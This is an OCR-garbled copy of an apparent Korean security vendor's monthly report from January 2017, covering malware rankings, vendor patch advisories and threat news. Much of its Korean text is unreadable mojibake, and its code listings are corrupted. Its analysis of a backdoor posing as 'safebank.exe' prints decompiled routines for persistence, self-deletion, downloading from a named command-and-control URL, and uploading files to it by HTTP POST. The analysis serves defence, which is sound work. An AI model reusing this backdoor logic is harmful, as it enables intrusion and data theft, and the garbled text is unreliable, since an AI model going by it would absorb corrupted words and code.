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1. 983 E A

2 oMM T TOP15

o}
242 OHATE Top 15 AKSKHPCOJ EiXIE 2 %izsﬂwggt

2016 E EA| 4X|0f| H[sH ZE 7447 TH| ALSH 7S slIsh:

A48 S 71 2

2 o= 2

Znls F BEIEEIC:2017E 182 248 4dTFETop 15 EIE(HIME Il‘d 12 80fl 1 91 XFRIXE MiscKeygen

MIACTL 4 S Slatst 5 /IE XIXRICH, Trojan HTMLRamnitA 7t MEA 1 |IE

Trojan HTMLRamnitA = HTML I}YS HZ56104 EECHE Trojan ETEE AFEXHPCO| =
L EERX 7| 2 S HElok! 5t SHXe| BHS 7ICkEl=

SNFHE S

= A7 AREATPCOH| MEE S

2 s Fdol= e ML=

OJc.

=2 = ofg3c TIHE
1 New Trojan.HTML.Ramnit.A
2 New Adware.SearchSuite
3 New Exploit.CVE-2010-2568.Gen
4 New Trojan.LNK.Gen
|4 Misc.Keygen
6 t5 Win32.Neshta.A
7 New Worm.ACAD.Bursted.doc.B
8 b1 Worm.ACAD.Kenilfe
9 New Win32.Ramnit
10 New Trojan.Acad.Bursted.AS
11 New Backdoor.Generic.792814
12 New Win32.Ramnit.N
13 New Virus.IFrame.jL
14 New Adware.GenericKD.4222691
15 New Adware.Generic.132199

71|22

Trojan
Adware
Exploit
Trojan
Etc
Trojan
Worm
Worm
Trojan
Trojan
Backdoor
Trojan
Virus
Adware

Adware

2%

(EE =
1342804
957709
406860
330536
275745
249301
225826
218921
200449
168288
137072
133637
130514
122268
118617

K| 2, LA E AMEXIR] ZHE SHIE Sbolt] MEet =2
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24%
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48%

HIZ0M E=0|=0KTrojan) F0| 7F B2 48%E XXM, OH=R0{(Adware) R0 24%= 1 FIE

n EZ0|=0t (Trojan)

m AO[90] (Spyware)
= 0= (Adware)

m F|2FH (Exploit)

= & (Worm)

m 7|E} (Etc)

m 8i=0f (Backdoor)

m HEO|HA (Virus)

= 5LO|XH71 (Hijacker)

m SAEMY (Host)

1 20ji= E20[=01, OH=RI0 R 200 &, FIoF, HIO|HA, #=0 R Sof Tt 72| hET=S0| HHZEERACY,

EZ0| 20} (Trojan)
ATHO|0f (Spyware)
OH=4RII0i(Adware)
50| XH74(Hijacker)

& (Worm)
Z|2FX(Exploit)
HFO[ZA (Virus)

& &= 0§ (Backdoor)
SAE(Host)

7|EK(Etc)

100%
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122 &¢l Top 10 ZE
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3. 201 =4

= P =]=
ot OIERO0|=F S5 AN|Y Al 45
712t 2017H01 €01 ~2017H01 €31 Y
EPNinFLES 386471
7|19 E8 ALY
= Al 742 Hig
N 146 3.78%
S 98 2.54%
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FOIHS 32 0.83%
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oolo] e 1 @ TIPS A
S0|EXt
=2 =Xt LHE
1 BHpZlsOix H 10]det SBee Ap =0l HZ A c MstML
2 ™ d7]|9LtdMIgR? S&y2IHbe 07|dol Zao] B2AtaZl A0
3 [8tdH™]Hb7|2uZ0] OvEEX SXIro™YxULrChE3|gS HE pHtEzL
Cle=At
=2 =Xt LIS
1 HMd79Ltd Mg ? S&yQd b2 07| do Zaol E2AtaZl AL
2 GipZIsOiix 4 (0]&et SHee Up=El HIE ArcHISIMIL
3 EiHiZt ZAfSH WSS ERISHR
4 IxZMod FUtHnS AEUbY3A.IPFEhEGhI. ZeQlAljEI242
5 (ME)QHIM) AL[™HvEVE]O] ZREHR
6 [8tdM]Hb7|2u20] OvEEX SX[roYxULrCHE3|gS HE pHtEzL
7 8i2z5] E|IZl HHlaY £H YL|Cth FHOo{gREEELVC
8 S2|0F7|EHO{ X1 2EHZ 0[O Q" YA 2 HB UL T 1 OA| F A StE2 2 MIE O E
9 To. RESO0|IAHALE NSO 2 /HS EUSLILH S7|SHE &R}
10 [Web2A] [E712tLH] 3.15Y & Fotel WESHAD HI(YUS =Hels FAI7] HEEfLICH
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[RY T2 Ol0|2o= 9|&sH

AdIL F4 HiN

1. 71

) safebank exe %4 X || B safebankexe 4 ®
¢ =zd 29 T OF HA g = 20 AMDE o) HE
a safebank exe | @
I _ Safe Banking Launcher
oE BAL S8 == (exe) P ——
23 Safe Banking Launcher THE 300190
E 02  Quick Heal AntiVirus
A HMEHE 17000
. HEA © Quick Heal Techneologies Ltd. All rights reser...
271 421KB (431,863 HO|5) 27| A21KB
= FET -12-16 23 11
DAZ TS 37|: 424KB (434,176 H10|5) TET 2 2016-12-16 20 11:08
s SUOE=)
ZHE 27
FET 2R u

(=]

13
oo
=

32 || =2 g || =2

[ 1] “2ROT OJ0[ZO= PEIeH M0 T £ it

olig HH=0] Qb M2 =LHOIA 0| AL U= 32 Z2T13 "EIR0f 00|20 = 2SI ABXI0A s REAF I
HEE PCOIM MU CH2/H=E, PC HE 28 SO 0] V1SS ST M0 38 V1SS S 01 320 AfO[H H|2{"0
ASEIQIH FET}H AR QARSHZIOZ 3101 Et 0]H 2EME IA0fME= “EIH0{” 0J0|ZO 2 QIEISHHIE-0{0] QA $H|Q} Offet
UH0ll CHol 2OR=LH.
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2. 4S3E M =4

2.1 oy
Size(Byte)

Detection Name File Name MD5
D8F163312E9B3DDFOF90354DAD2CFA12 431863

BackdoorAgent.431863N safebank.exe

22 @9l 2

Bl THRL0] A1t EIEd, AJAE Liio] 2444 DL TjI0| TfIHOR X
OUSEEl IUS LIRBC 2 43 Zajof TSt I Y2C 7158

A3l S0ik= CRC AH{0]| T

=

=

URL Cache =&

PC 85 %

MH[~ 4

XE7 AH

.
il
N
12
0Z
ogt
1
I
0
I
0
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23 gM =4

ofig M2 2= Ml = M0 SE0| T27| M20], 522 &3 EU=KIE FHIAMuteXZ HHo10 22| deks
oA =,

handle wininet = LoadLibraryfa{&ui};

uS = GetCommandLineW(};

u2B = CommandLineTofArguW{u5, &pHumfirgs);
GetModuleFileHameA{ A, Filename, B8x184%u);
func_getapis();

if { func_duplication_execute()} )} FfE2 &#" A (Hutex)
func_duplication_execute Yes(); ffE2 4" ZEI

else
func_duplication_execute Mo(); A2 2 =3

result = B3

3 3] S5 2 ZAt F= 3t

handle wininet = LoadLibraryn(&ve);

uS = GetCommandLineW(};

vZ28 = CommandLineToArguW{v5, &pHumArgs);

GetHoduleFileHameA{®, Filename, 6x18%u};

func_getapis();

if { func_duplication_execute()} ) Fd =2 &9 AL (Hutex)
func_duplication execute ¥Yes(); f =22 o ==

else
func_duplication execute Ho(); ff EE 4 =2

result = B3

[0 4] FEIAMute) M3 201 FE S1H

232 2= Ml M =]
2321 T A4

=R AMAHR AZ(system32)2] dll I = 52| 0|52 7HM2UA exe 2 HZASIE, 2] cmd.exe TS msinfo321.exe £

—O O

SASIT A5t [RHE) ll OS] exe 2 SR = HMES A it
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pszPath = 8;

memset{&vly, B,

us = B3

memset{&vo, B, Bx183u);

if { func_IsWowb4Process{) )
GetSystemWowsaDirectoryA{&pszPath,

else
GetSystemDirectoryn_B{&pszFPath,

pHore = B;

memset{&vi, 8, BxX183u);

func_getdllname (&phlore);

Bx183u);

PathaAppendA{&pszPath, &pHore);
1strcpyA(lpStringl, &pszPath);
Buffer = @;
memset{&uiz,
String1 = 8;
memset{&vi6, 8, @x183u);
GetWindowsDirectoryn{&Buffer,
1strcpya(&String1, &Buffer);
1strcata{&String1,
1strcatal{&Buffer,
1strcpya{&uS, Filename);
CopyFilea{&Buffer, &Stringl, @);
return sprintf{a2?, "%s fc start %s",

8, 8x183u);

[ 5] T A dieHoy| CHSH F= SHEH

2322 Md|A ¥d

I[I0| AlsH = A|AEH LY service EH2
Ofeie] LIZLZ AfH|A

Zgheltt. 02

switech { vidé )
{

case @8:
1strepyA{&Stringt,
break;

case 1:
1strepyA{&Stringt,
break;

case 2:
1strepyA{&Stringt,
break;

case 3:
1strepyA{&Stringt,
break;

case 4:
1strepyn{&Stringi,
break;

case 5:
1strepyn{&Stringi,
break;

case 6:
1strepyn{&Stringi,
break;

default:
break;

“"Extended");
“Framework"};
"Hanager");
“"Standard");
"Motification");
"Helper");
"Configuration")};
} .
sub_4BBGCCA((LPSTR)1lpHewFileHane, a3);
ExistingFileName = 8;

memset{(&uvis, @, 8x183u);
lstrecpyfA{&ExistingFiledane, Filename);

Bx184u});

Bx184u);

// system32 Z=ZS| DLLE ZH| HY
fF .exe EETGIE 27 MEOE EDE

Z e DIEE R

Bx184u);

“Wsystem32Wimsinfo321 exe');
"ttsystemd 2itcnd .exe™) ;

// cnd.exe £

1pStringi);
£/ C:WUWINDODWSWsystem32Wmsinfo321.exe fc start C:WUWINDOWSHsystem32W[ZHEd110|E].exe

msinfo321.exez Z A}
&String1,

S HEOZ SHLI2| MH[AS| O|F it HES 7142t case Z0H|A HEO= #2 EAIE L
A=
—=

MBI

/4 Random Hame

/7 ME DLL 0|2

CopyFileA({&ExistingFileMame, lpHewFileMame, 8);// HEDLLO|IE 22 At ZAb

if { sub_u@BE7B(ui1,

if { strstr{&v7, &Stringl) )
{
memset(&Stringi,
sprintf{&String1,

8, 8x184u);
“"Locator"};

¥

sprintf{a2, "%s_%s", &v17, &Stringi);

sprintf{a%, "%s %s", &7, &Stringi);

1strepyA{lpStringt, &String2);

if { strlen{lpStringi) )
sprintf{lpStringi,

result = 1;

(13 6] MH|A Y 5 S o) Chet 3=

"%s %s", 1pStringd,

&u17, &v7, {int)&String2) }// Random Service Desc

/4 WEddl~ 0lEL =8
/4 HE M| A LI FE

&Stringi);

FH

ESTsoft copyright by ESTsoft corp. All rights reserved.



Part2, 1 #2] %E3E O+

2323 X7 AR

Rpelo] SH| Tt MHIAS S5 of S0i= A7 | RS A BiCt.

Stringl = 8;
memset(&v?, B, 8x183u);
Parameters = @;
memset(&ui, B, 8x183u);
1strcpyf{&sitringd, Filename});
SetFileAttributesA{&Stringd, Bx80u);
sprintf{&Parameters, “/c systeminfo >HUL & del /q W'"%sW" >> HUL™, &Stringil);
result = GetEnvironmentUariableA{"ComSpec”, &Stringi, Bx184u);
if { result )
result = (DWORD)ShellExecuten{®, 8, &Stringl, &Parameters, @, B);
return result;

[Z2 7] X H Ao Chet 2= &1

S5 Aoz T £|0] SE 2 3 RCAH0| H5ot0 2 PCO| LIE SZ0| Hoil= TS H22E Bl

DWORD duNumberU0fBytesRead; // [Sp+188Ch] [bp-4h]@2
#/ http://my-compass-project.eu/application/uiews/frontend/common _php?id=[HACZ 4 +08 HE+2USEH]
Buffer = 8;
menset(&vs, B, BxFFFu);
for {( i = fopen{a?, "wb"}; ; fwite{&Buffer, 1u, duHumber0fBytesRead, i) )}

v3 = InternetReadFile(hFile, &Buffer, Bx1880u, &dwHumberOfBytesRead);// LS5 T TH CIR2CS
if { tv3d || tdwNumberOfBytesRead )}
break;
¥
fclose{i);
return v3 *= B;

(72 §(RC T 5 0| X431 U CI22C 5i= T 54
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oE EIE 200 BARIA =D S8%H)

Qi © HNREAG Peasemwn @ -5 F B

"v‘:b(Q)i_.j http://my-compass-project eu/application/views/frontend/common,php7id=607" I T v |

qh0D8Z shXD1mnCHgSh2-
VEKjib73iQS7PISelaRnFc1ctE4qnb20viLdtxMt7TZZIT4ZF2u3FGEQe/YRXUb2w\W==

2
m
A

£ ¢8 <
72! 9] HateRs S5t 2eio] Il Cleae sipf

OR22E & o2 4353t 50 A2 decoding SHH Ot2Ho| LiEat ZCh (BH= & &

f(\n)= Z0{A

SZF Sttt
c_C http://my-compass—project.eu/application/views/frontend/common.php?id={ID]
HH0 gh0D8Z shXD1mnCHgSh2-V8Kjib73iQS7P)SelaRhFc1 ctE4qnb20vLdtxMt7ZZT4Z)F2u3FGEQe/ YRXUb2wW==

Decoding tick 5251\r\n systeminfo & netstat —naop tcp & tasklist \r\n 1018; 30 \r\n

(EHEY)

syseminfo : OS, HIE2[, SIEY O AL F Xt
netstat : UEYI HEIE E0F= ELIHE F
tasklist : Z2MA HEHE 20Tz ZLEHZ B

2332+ BHY2AE

CRC AMHOIN L= "IELE 07 HE o= A2H, 1 FF0 Foi| F7IH22 Number £ F09010{ 7t +dlE & 4

UL
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H2! Number A
1001 Software\Microsoft\Windows Helper 0f] TEHE 7+ 124
1003 T2 URLOIIM MAUS CIREE IO ME(QETE F75)
1006 T2 Z2o| MAUSS AZE 5lul AK|
1018 HXAEL| 7| Mg = M 22 2 U
1013 Internet URL Cache %

1021 M A==
1007 M%ff Eato[=o] md HH £EhM S 2 F2E
(&5 dkwero38oerAt@#)
1023 7| A
default T2 emd HEO| A
LS PCO AR HEHE £ of IZ2 25 MU= Hist 3 ASE FI610] MHo| F=EE FIRHSICt

SOPHORE QI Mg st 2T} 2SS ARBSHS HAI0] OfF 20131320 AJOIHEIR{ O AR ! EIRIE! WAL}
o

Qlok EXX|H : Backdoor.RAT.DarkComet.SPA (64cc06ad749ad390dbf3fof67a059eba)

result = fopen{&Filedame, “wb");
dword_419C44 = result;
if { result )
{
sub_482098(a2, @);
fclose(dword_419C44);

ul6 = B3
ul7 = B3
uig = B3
u19 = B;
Uzl = B;
vzl = B3
uz? = B3

uf = strrchr{al, 92) + 1;
uf = {char ®)(&UI16 - UG);
do
{
uB = xufi}
uG[ (_DWORD)U7] = =*u6;
++Uf;

H
while { ud J);
u9 = sub_4@2C3@("CCS_dat');
ulld = strrchr(&uiG, 46) + 13
do
{

ull = =u9;

*®#UTH++ = *®U0++;
H
while ( vi1 )3
U12? = sub_4B82C38("CCS_dkwero38oerA” tEH"); /F 2014-88-14 21A I
ul3 = sub_4B6B3IA(UIZ, al);
uld = ul13;

(22 1012014 3 8 & 14 20j| LA HZ0]| LSt == A 51
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2OF EIX|H : Backdoor.RAT.DarkComet. SPA (21CB3AE067F070946 245B040EF029BF8)

dword 1883181C = fopen(&FileHame, "“wb'};
sub_186883B18(al1, B8, ai);
fclose{dword 1803181C);

ul2 = B;
ul3d = B;
ull = B;
vl = B;
vt = strrchr{vi, 92 + 1;
i = {(char =)}{&uv11 - vi);
do
{
Ui = =06
uia[ {_DWORDYU7] = =u6;
++Uf;
¥
while { vg 3;
* 3 1L+ 1) = 7627108;

uv9 = (uoid =)Func_compress{ud, (int)"dkwero38oern”t@H");// 2015-09-14

=13
=

UNC_compress_add{(intyud, (inCt)&uil1, &riledaney;
func_encryptor{u®};

DeleteFileA{&FileHame);

S5leep(Bx3E8u};

return 1;

[ 11]2015'9 9 2 14 0] LA & 0]l Chgt == 3=

-

folr

sl

2UOF E4X|H : BackdoorAgent.431863N (d8f163312e9b3ddf0f90354dad2cfa12)

dword_43189C = fopen{&FileHame, “wb™};

if { dword_43189C )

{
func_getdrivefileinformation{{CHAR =}a1, @);
fclose{dword_43189C);

vilB = A8;
vill = 8;
vl = B;
uvld = 8;
vt = strrchr{a?z, "W') + 1;
s = fuid;
do
{
uh = =yuh;
*®UL++ = XUGH+]
¥

while { v4 3;
*{ DWORD =)Y{strrchr{&uif, 446) + 1) = 76271088;

vih = (int)Func_compress{{int)a?, {int)"dkwero3BoerA™t@H");// 2016-12-16 2;21'
func_compress_add(u1h, (inCj&uil, Griledamney;

func_encryptor{vii);
DeleteFileA{&FileHame);
Sleep{8<3E8u} ;
result = 1;

¥

(721 12120162 122 16 20| 24 £ MZ0f CHt 2= = 510

ol
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2333 88 A 2t H=2E

Z1=0]| Cet LSS A2 H=CE oitt,

oSt

QRCEH =+

us = Fﬁnc_ﬁécudestr("NE?_MuzillaKS.B (Windows HT 6&.1; Trident/7.8; rvu:11.8) like Gecko");

ull = InternetOpenA_@8{v5, 8, 8, 8, 8);
if { visl )
{
u27 = InternetConnectd_B{v41, &viB, Bx5Bu, B, B, 3Ju, B:4480886u, B);
if { v27 )
u32 = HttpOpenRequestA_@(v27, "POST", &uS3, 8, 8, 8, Bx44BOO4Au, A);
if ( w3z )

{
if ( HttpAddRequestHeadersA(v32, &U28, strlen(&u28), Bx10088800u) )

sprintf{&v36, "Content-Length: ZJdihin™, w52);
if { HttpaddRequestHeadersA{v3?, &v36, strlen{&vis), 8x108080880u) )

{
uh? = 48;
uh3 = @;
if { HttpSendRequestExA{v32, (LPINTERNET_BUFFERSA)&u4Z, 8, 8u, @) )
{
if ( InternetWriteFile{v3?, &u33, uil, (LPDWORD)&uI3) )// HEH= 4 = ZiT}H

{
uit = fopen{az, "rb");

if ( v3s )

fseek{vi5, 8, 8);
while { *Feof{viS}) }
{

vl = B;

memset(&uv?, @, Bx3FFu);

uid = fread{&vs, 1u, BOx3FFu, viS};

if { tInternetWriteFile{v3?, &ve, vid, {(LPDWORD)&u13}) )

{
InternetCloseHandle_ B({vi41);
InternetCloseHandle B(uv27);
InternetCloseHandle_ B({v32);
fclose{uviS);
return 8;
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Microsoft 1 & 7| HO HH|0|E
— Microsoft Edge € 5 HQt 2IH|0|E(3214288)

O] 22t RHI0|E= Microsoft Edge 2| F{2FdE o ZELICE O FAI2 AV S+ AEIE 2 HOIXIE Microsoft Edge &
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— Microsoft Office & HOt HH|0|E(3214291)

0] =2t YH|0|E= Microsoft Office 2| FI2FES SHZRILICE ARBAP F S+ MIEFE! Microsoft Office LS EH 0] FAfdO=
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~ Adobe Flash Player & 29t 2HHI0|E(3214628)

0| £t AHH|0|E= X|@lEl= 2= HZF2| Windows 8.1, Windows Server 2012, Windows Server 2012 R2, Windows RT 8.1,
Windows 10 3! Windows Server 2016 01| &X|E Adobe Flash Player 2| FFSS SHZgILICE

- 2Z H0t 72 519 A|AH Mu|AS| HOt AHI0[E(3216771)

LSASS(ZZ HOt 712 51| AIAE MHIA)M 15 20| XM2|=h= A1) MH|A 5 FOFH0| ZEXHEILICE FotdS
GESXOZ ofE0t SZRI= Uief AIARIC| LSASS AMH|A0IM ME|A HREES FESH AARIO| RAISO2 TIA| REGIES

E2|AELIE. O] HEIO0IE= LSASS 71 S5 MIEfE 1S QS Aeloh= YAlE B0 FAFdS ofZgititt.

|
ol

Had

Windows UpdateZ s=i5tLt Microsoft =2 SX| 22F AOIEGIA shE FFES2| HEXQ! IHX| MYS HREE Bs

USLIEL

St= - http:/ /technet microsoft.com/ko—kr/library/security/ms17-Jan
= : https:/ /technet microsoft.com/en-us/library/security/ms17-Jan
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ZendMail, SwiftMailer HZTE Al F[eFH HO AHH|0|E H11
STE Ho A2 Dawid Golunski = PHP 22|22 5 O|H|Y S=L0j| ARRE]= SwiftMailer, ZendMail KA

U S8 HTCE & QU= 7 T A3 FOFH(CVE-2016-10034, (VE-2016-10074)2 2
Flofet HES AKE S 7l A0|E H3Rt= o2 [t ZMHHO= HHI0|E A

- Mg

0 ZendMail ijA] QIBEIX| 42 22 Xt AMHQ| ZEIAEN o] TEE Maliet 4~ Ql= FAE(CVE-2016-10034)
o SwiftMailer Oi|A] QIBEIX| 42 2 A} &l M| ZHEIAENN o FEE Malst 4= U= FUF(CVE-2016-10074)
[F5} = ATEQO]]
0 ZendMail
—Starting 2.7.2 0™ BT
-zend-mail 2.4.11 O] HH
—Zend Framework 2.4.11 O H™
o SwiftMailer
-545-DEV 2! O[5} KX

- oiiZY

Oll

0 Ffet ZendMail S ARESHk= &l AO|E X ! JHLA
- 211 MO|E0]| L2510] Z|A| A0 [E 434 [1]
o Fofet SwiftMailer £ AtEok= & AO|E BEXT 3 7L}
1 AO[E0| L2510 2|4 HOI0|E 3 [2]

[RIIAOIE]
[1] https://framework zend.com/security/advisory/ZF2016-04
[2] hitps://github.com/swiftmailer/swiftmailer
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0 SZXH= MongoDB #2[& ZE(27107)2] Q15 20| izt MHE 2 DB HIO|HE MY S AXIS10] S XIojA

f=b )

O L

o ™ MAESZ MongoDB 2 F2fet 2I5S get 4= Sslf 2 217000 07 OF2f AL Mol Zrd

(Bt L= B

0MongoDB 3.2 O[5t
# ASKI IS S} 3t HQ 3 IK| 012
- oiZd

@ MongoDB AZEL0] Z[AHH HH[0IE[2]

@ 7IEHMOE A2 Al mongodb.conf AEMAUC| auth =true & F7151H ALZAf Q15 &St
X2 HEE ZE(27107) HE & P H2A0] M

[EIAIE]

[1]MongoDB 321 FAO|E, 2AM2II0] THS 2 stzgiot

— https:/ /mmw.mongodb.com/blog/ post/how-to-avoid-a-malicious—attack-that—ransoms-your-dat

[2] MongoDB X IHH CIRZ=
— https:/ /mmw.mongodb.com/download-center?imp=nav#community
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Adobe Flash Player £+ F2Fd Ot HO[0|E A1

Adobe = Flash Player Ofik] 2r5H= SI0PMS siZit Ot IFI0|ES (1]

RS B ARSH= OITE 2ol H{okt 4 QUODIE Szl W2t SXIBHOS SiEj0|E F1
- ANEE

o HH LES 0[0F £ QU= 215 23| FFH(CVE-2017-2939)
0 o| FE HM3Ho =2 O|0fH 4 Use—After—Free FOFH(CVE-2017-2932, CVE-2017-2936, (VE-2017-2937)
0 29| FC ABHOZ O|0fR! 4= Q= & QHERZS F[OFH(CVE-2017-2927, CVE-2017-2933, C(VE-2017-2934, CVE-2017-
2935)
0 20| FE ABHOZ 0|0fR! 4 QU= H|E| 2A FIOFH(CVE-2017-2925, CVE-2017-2926, CVE-2017-2928, CVE-2017-
2930, CVE-2017-2931)

30 30 o
rIr rr _|

Adobe Flash Player
AOEQ H Sty A = HA
Adobe Flash Player Desktop Runtime YIERX W |inux 2400.186 % OFH HH
Adobe Flash Player for Google Chrome SIERX o [inux, ChromeOS | 24.0.0.186 & O HZF
Adobe Flash Player for Microsoft Edge and
Windows 10, 8.1 240.0.186 % O™ HH
Intemet Explorer 11
- sz
Adobe Flash Player AF2X}
- 2IERX 0 | inux 32| Adobe Flash Player Desktop Runtime AR2AR= 24.0.0.194 HEIOZ QH0|E MK

> Adobe Flash Player Download Center(http://www.adobe.com/go/getflash)0ll =510 ZA S MX[SHALL KIS
HH|0|ES 018510 &12{0|=
— Adobe Flash Player 7} AX|= Google Chrome = A5 2 £]A1 AH|0|E MM XK
—Windows 10 2! Windows 8.1 0flA] Microsoft Edge, QIE{S!l AAZZ R 11 0f] Adobe Flash Player £ AX[St AIRX = KIS0 2

EA1 AE0|E7} HZ
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[RIIAJOIE]
[1] https://helpx.adobe.com/security/products/flash-player/apsb17-02 html

2017 49 1 & Oracle Critical Patch Update 11

22}t CPU Ol XiAF HIZ2| EOHFE 270 7HOH CHEH XIS LHE(1]
X CPU(Critical Patch Update) : 2212 £ H2t ¢HI0IE

0

0 G2t A= HITHO| ASARE ETE AHM| FIefe 4~ AL, O shZURto]| M=t ZRIHHOZ HLH|01E 21T

[FEkS = ATELQ0]
0 Oracle Database Server, version(s) 11.2.0.4,12.1.0.2
0 Oracle Secure Backup, version(s) priorto 12.1.0.3
0 Spatial, version(s) priorto 1.2
o Oracle Fusion Middleware, version(s) 11.1.1.7,11.1.1.9,11.1.23,11.1.24,12130,12.2.1.0,12.2.1.1
0 Oradle GlassFish Server, version(s) 2.1.1,3.0.1,3.1.2
0 Oracle JDeveloper, version(s) 11.1.1.7.0,11.1.1.90,11.1.24.0,12.1.3.0.0,122.1.00,1221.1.0,122.1.20
0 Oracle Outside In Technology, version(s) 8.5.2,8.5.3
0 Oradle Tuxedo, version(s) 12.1.1
0 Oracle WebLogic Server, version(s) 10.36.0,12.1.30,12.2.1.0,12.2.1.1
0 Application Testing Suite, version(s) 12.4.0.2,12.5.0.2,12.5.03
o Enterprise Manager Base Platform, version(s) 12.1.0.5,13.1,13.2
0 Enterprise Manager Ops Center, version(s) 12.1.4,12.2.2,12.3.2
0 Oracle E-Business Suite, version(s) 12.1.1,12.1.2,12.13,12.2.3,12.2.4,12.25,12.26
0 Oracle Transportation Management, version(s) 6.1, 6.2
0 PeolpeSoft Enterprise HCM ePerformance, version(s) 9.2
0 PeopleSoft Enterprise PeopleTools, version(s) 8.54, 8.55
0JD Edwards EnterpriseOne Tools, version(s) 9.2
0 Siebel Applications, version(s) 16.1
0 Oracle Commerce Platform, version(s) 10.0.3.5,10.2.0.5,11.2.0.2
o Oracle Fusion Applications, version(s) 11.1.2 through 11.1.9
0 Oracle Communications Indexing and Search Service, version(s) priorto 1.0.5.28.0
0 Oracle Communications Network Charging and Control, version(s) 4.4.1.5,5.0.0.1,5.0.0.2,5.0.1.0,5.0.2.0
0 Oracle Communications Network Intelligence, version(s) 7.3.0.0
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0 Oracle FLEXCUBE Core Banking, version(s) 5.1.0,5.2.0,11.5.0

o Oracle FLEXCUBE Direct Banking, version(s) 12.0.0,12.0.1,12.0.2,12.0.3

0 Oracle FLEXCUBE Enterprise Limits and Collateral Management, version(s) 12.0.0, 12.0.2

0 Oracle FLEXCUBE Investor Servicing, version(s) 12.0.1,12.0.2,12.04,12.1.0,123.0

0 Oracle FLEXCUBE Private Banking, version(s) 2.0.1,2.2.0,12.0.1

0 Oracle FLEXCUBE Universal Banking, version(s) 11.3.0,11.4.0,12.0.0,12.0.1,12.02,1203,12.1.0,12.20

0 MICROS Lucas, version(s) 29.1,29.2,29.3,294,29.5

0 Oradle Retail Allocation, version(s) 12.0,13.0,13.1,13.2,13.3,14.0, 14.1

0 Oracle Retail Assortment Planning, version(s) 14.1,15.0

0 Oracle Retail Order Broker, version(s) 4.1, 5.1, 5.2, 15.0,16.0

0 Oracle Retail Predictive Application Server, version(s) 13.1,13.2,133,134,14.0,14.1,15.0

0 Oracle Retail Price Management, version(s) 13.1,13.2, 14.0, 14.1

o Primavera P6 Enterprise Project Portfolio Management, version(s) 8.2,8.3,84, 15.1,15.2,16.1,16.2

0 Oradle Java SE, version(s) 6u131, 7u121,8u112

0 Oracle Java SE Embedded, version(s) 8u111

0 Oradle JRockit, version(s) R28.3.12

0 Oracle VM Server for Sparc, version(s) 3.2, 3.4

o Solaris, version(s) 11.3

0 Oracle VM VirtualBox, version(s) prior to 5.0.32, priorto 5.1.14

0 MySQL Cluster, version(s) 7.2.26 and prior, 7.3.14 and prior, 7.4.12 and prior

0 MySQL Enterprise Monitor, version(s) 3.1.3.7856 and prior, 3.1.4.7895 and prior, 3.1.5.7958 and prior,
3.2.1.1049 and prior, 3.2.4.1102 and prior, 3.3.0.1098 and prior

0 MySQL Server, version(s) 5.5.53 and prior, 5.6.34 and prior, 5.7.16 and prior

¢ I3 e AARIO| M| B AT AOIE]S BE

Had

ol

0 "Oracle Critical Patch Update Advisory — January 2017" &A1 ! XA 2 AESIT HICIAL 2 RX[H4 SARt SHo|/HE =
IHX| &[]
0JAVASE AIEXH= MX|E MEZE2| Z]4 IHI0|EE CI2EE[2] ot MX[GHALE, Java RHI0[E Xts LR Ms A3

[RIIAJO|E]

[1] http:/ /mmww.oradle.com/technetwork/security—advisory/cpujan201 7-2881727 html
[2] http:/ /aww.oracle.com/technetwork/java/javase/downloads/index html

3] http:/ Mwwwjava.com/ko/download/ help/java_updatexml
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1. SO0|A

Hatx{7} OtL|2} 2tREISS 510|X5H= DNSCharger YA E 29l 7 |E WA
DNSCHANGER EXPLOIT KIT HIJACKS ROUTERS, NOT BROWSERS

JAXIS0| HHEO[ES Sl HHE == DNSCharger UAZEQICE 16671 02| 2tRE HHSS EFICE 511l Q= A=
LPEF-*EF Proofpoint & H-1#=0| 0] YAS 2 7|E= 0| SA2| BHEO[Y HAEAET B2V} Ofd 2fRHS EFICZ
of7| IH=0i| OH2 SO St ZRYC.

FloFot 2}2E L= Pirelli 2 Comtrend 2 22 A OIS XMiE6k= D-Link, Netgear Z2SS ZalolCt,
DNSCharger 01| F|2fet 2fRLEIC| AFSXISE &H|Q| HAE H120|= s I HISITT

DNSCharger 7+ /8¢t 2fRE 2| FIOFE2 K|t 3= Netgear SI2E0fM 2 & SHXIS0| FE HRICZ HAOZ FH|0f

HE0I= oi8ot= FIESL T,

DNSCharger 322 si71=0| =Q YA |E0| 21 &2 Filich Z0E BASIOZM A|Z} EICt 0] ZES BEIRESTUN
AH (stunservices.mozillal Joom)oll WebRTC 282 SUAIA AZAIR| 24 P FTAE E2LHEE k= 2 JavaScript IES
ksl

WebRTC = #l BAZ 5t T2 EZ0]|C} STUN(Session Traversal Utilities for NAT) AJHE2 AJH{2o] 20 S210[HE9] IP
FAR} LEES HISISH= TS HUHC XHE AFZES S5l 0] QO ZHH i AKX 22 X HEE! P FAE A2 5

U EICt

U ZHKI= EFI0| SAS 71X 7 QU=X] LOtLEZ | @l 22 1P 22| GRS SESICE T 71XV 9IS B2, SR
BRI BNE BHA| EICE 3AS 71X Q4= EFUS2 PNG 00|X| HEHS] 7Wf% 1= EH| =t Proofpoint = 015
JavaScript 7+ &2 =i PNG me| FHIE WE=HE HIMLZEE FESIL! SPAE DNSCharger AAZZA! 7|EQ)

HIH|O|X|Z Ol AIZICIL 2L

0l3, DNSCharger L 322 0[25H X2 0[0|XI32 AH7 K- TRHIZ SHKUE ALS 7|2 Ealst 7155 L2 231t 0
AES 7= EBfmIS 7|1 2IREQ| XSS 255k EZI0| Fofst DHS AK25HT QU=X| TEBH=E| AKZ EICt Proofpoint =
"UCHHAIS OR[T LIH, HRIQK= 2IQEOM SZS AsHsl| I3t MAst 81 BIElsH= DNSCharger AAZR0! 7|ER
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[EX https://threatpost.com/dnschanger-exploit—kit-hijacks-routers—not-browsers/ 122539/

QEEO| S5 BT & U T U3 G123

Ubuntu's Crash Report Tool Allows Remote Code Execution

Ubuntu

rﬁ The application Image Viewer has closed unexpectedly.

Send an error report to help fix this problem

_ Show Details Leave Closed f Relaunch

OfEi3t AZEQOI SHI0) BRI 4= GICH AIKI0] 2ARARIE ZoOIC,
3t 50+ IRI0] Ubuntu 2f=A OS O THXIH Ok RIS ARSaH ERY HEE]
FlOPRIZ WG

0| Fofde C|ZEZ MX| =l Ubuntu 215A 12.10(Quantal) & 015 HZ0)| &k OJRICY
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0] CrashDB Z= F¢ 0172 SEHCZ AUEe 2, SAK= P2 LM HHLZ /20| FES Aalish 4= Q| =M.
u]

22XE= Ubuntu AFRXESO0| 2 crash IS @ESIES £0(7|2F 6HH =L}

Ol= Ubuntu OS 2| cash I K27 | LHO| I =[RS B 22|Q| Python Z=E Aldlol= 2 FEE FRlet A0|Ct,
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